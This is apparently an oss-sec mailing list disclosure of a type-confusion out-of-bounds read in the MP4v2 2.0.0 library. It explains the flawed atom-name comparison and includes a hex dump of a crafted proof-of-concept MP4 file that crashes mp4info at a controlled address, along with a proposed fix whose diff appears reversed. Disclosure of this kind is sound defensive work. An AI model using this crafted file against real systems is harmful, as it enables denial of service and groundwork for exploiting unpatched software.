oss-sec mailing list archives
Out-of-bounds memory access in MP4v2 2.0.0
From: Ruikai Liu <lrk700 () gmail com>
Date: Wed, 18 Jul 2018 16:30:41 +0800
Hi, A out-of-bounds memory access bug is found in MP4v2 2.0.0, a legacy library dealing with MP4 media file. ========= find atom by type ========= The function `FindAtom` iterates the atom tree and find the target by comparing its type with the given one: 316 MP4Atom* MP4Atom::FindChildAtom(const char* name) 317 { 318 uint32_t atomIndex = 0; 319 320 // get the index if we have one, e.g. moov.trak[2].mdia... 321 (void)MP4NameFirstIndex(name, &atomIndex); 322 323 // need to get to the index'th child atom of the right type 324 for (uint32_t i = 0; i < m_pChildAtoms.Size(); i++) { 325 if (MP4NameFirstMatches(m_pChildAtoms[i]->GetType(), name)) { ... However, the comparison could be passed for an crafted atom which doesn't match in fact: 29 bool MP4NameFirstMatches(const char* s1, const char* s2) 30 { 31 if (s1 == NULL || *s1 == '\0' || s2 == NULL || *s2 == '\0') { 32 return false; 33 } 34 35 if (*s2 == '*') { 36 return true; 37 } 38 39 while (*s1 != '\0') { 40 if (*s2 == '\0' || strchr("[.", *s2)) { 41 break; 42 } 43 if (tolower(*s1) != tolower(*s2)) { 44 return false; 45 } 46 s1++; 47 s2++; 48 } 49 return true; 50 } The above while-loop would exit and return true once `s1` ends early. For example, `MP4NameFirstMatches("abc\x00", "abcd")` returns true, though an atom with type "abc\x00" should never be returned when finding atom of type "abcd". Things are different when creating atoms. The 4-bytes type read from file is strictly checked to determine which atom constructor to use(src/mp4atom.cpp): 954 if( ATOMID(type) == ATOMID("sdtp") ) 955 return new MP4SdtpAtom(file); The above difference between creating and finding atoms could result in type confusion, which leads to out-of-bounds memory access. ========= MP4SdtpAtom ========= `FindAtom` is called to find an atom of type "sdtp" when generating the track info(src/mp4track.cpp): 239 // update sdtp log from sdtp atom 240 MP4SdtpAtom* sdtp = (MP4SdtpAtom*)m_trakAtom.FindAtom( "trak.mdia.minf.stbl.sdtp" ); 241 if( sdtp ) { 242 uint8_t* buffer; 243 uint32_t bufsize; 244 sdtp->data.GetValue( &buffer, &bufsize ); 245 m_sdtpLog.assign( (char*)buffer, bufsize ); 246 free( buffer ); 247 } So if a crafted MP4 file contains an atom of type "sdt\x00", then this atom would be returned and cast to `MP4SdtpAtom`. But its actual class is not `MP4SdtpAtom` since strict comparison is used when creating the atom. As a result, `sdtp->data` is actually out of the object. ========= POC ========= We build a MP4 file which contains the necessary fields. The atoms are arranged dedicatedly so that for 32-bits program, `sdtp->data` would access the trackID, which is controlled by us and would finally leads to reading from `0xdeadbeef`: root@debian:~# xxd c4.mp4 00000000: 0000 0018 6674 7970 6d70 3432 0000 0000 ....ftypmp42.... 00000010: 6d70 3432 6973 6f6d 0000 01c4 6d6f 6f76 mp42isom....moov 00000020: 0000 006c 6d76 6864 0000 0000 3030 3030 ...lmvhd....0000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 0000 0000 0000 0000 0000 0000 0000............ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 0000 0000 0000 0000 0000 0000 0000 0150 ...............P 00000090: 7472 616b 0000 0060 746b 6864 0000 0001 trak...`tkhd.... 000000a0: 1234 5678 2345 6789 dead bed7 0000 0000 .4Vx#Eg......... 000000b0: 9876 5432 0000 0000 4141 4141 4141 4141 .vT2....AAAAAAAA 000000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000f0: 4141 4141 0000 00e8 6d64 6961 0000 0008 AAAA....mdia.... 00000100: 0565 7374 0000 0020 6864 6c72 4242 4242 .est... hdlrBBBB 00000110: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000120: 4242 4242 0000 0020 6d64 6864 0000 0000 BBBB... mdhd.... 00000130: 3030 3030 4040 4040 5050 5050 1010 1010 0000@@@@PPPP.... 00000140: 9090 9090 0000 0098 6d69 6e66 0000 0008 ........minf.... 00000150: 0465 7374 0000 0088 7374 626c 0000 0018 .est....stbl.... 00000160: 7374 737a 0000 0000 0000 0000 0000 0000 stsz............ 00000170: 0000 0000 0000 001c 7374 7363 0000 0000 ........stsc.... 00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000190: 0000 0010 7374 636f 0000 0000 0000 0000 ....stco........ 000001a0: 0000 0018 7374 7473 0000 0000 0000 0000 ....stts........ 000001b0: 0000 0000 0000 0000 0000 001c 1364 7400 .............dt. 000001c0: 0000 001c 036f 3634 0000 0000 0000 0008 .....o64........ 000001d0: 7374 7368 0000 0008 7364 7400 stsh....sdt. Here's the result of running `mp4info` on it: root@debian:~# gdb /usr/bin/mp4info Reading symbols from /usr/bin/mp4info...(no debugging symbols found)...done. (gdb) r c4.mp4 Starting program: /usr/bin/mp4info c4.mp4 /usr/bin/mp4info version -r c4.mp4: ReadAtom: "c4.mp4": atom type est is suspect ReadAtom: "c4.mp4": atom type est is suspect ReadAtom: "c4.mp4": atom type dt is suspect ReadAtom: "c4.mp4": atom type sdt is suspect ReadChildAtoms: "c4.mp4": In atom stbl missing child atom stsd ReadChildAtoms: "c4.mp4": In atom minf missing child atom dinf Program received signal SIGSEGV, Segmentation fault. 0xf7ece2c6 in ?? () from /usr/lib/i386-linux-gnu/libmp4v2.so.2 (gdb) x/i $eip => 0xf7ece2c6: mov (%eax),%ecx (gdb) i r eax eax 0xdeadbeef -559038737 The binary we test is the i386 mp4v2 package of Debian: root@debian:~# dpkg -s mp4v2-utils Package: mp4v2-utils Status: install ok installed Priority: optional Section: sound Installed-Size: 281 Maintainer: Debian Multimedia Maintainers <pkg-multimedia-maintainers () lists alioth debian org> Architecture: i386 Source: mp4v2 (2.0.0~dfsg0-5) Version: 2.0.0~dfsg0-5+b1 Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.4), libgcc1 (>= 1:4.2), libstdc++6 (>= 5.2) ========= fix ========= The bug can be fixed by more checks when doing type comparison. For example: --- src/mp4util.cpp 2018-07-18 15:48:12.766709572 +0800 +++ ../mp4v2-2.0.0-orig/src/mp4util.cpp 2012-05-21 06:11:53.000000000 +0800 @@ -46,7 +46,6 @@ s1++; s2++; } - if(*s2 != '[' && *s2 != '.' && *s2 != '\0') return false; return true; } ========= Reference ========= [1] https://code.google.com/archive/p/mp4v2/ [2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt -- Best regards, Ruikai Liu
Current thread:
- Out-of-bounds memory access in MP4v2 2.0.0 Ruikai Liu (Jul 18)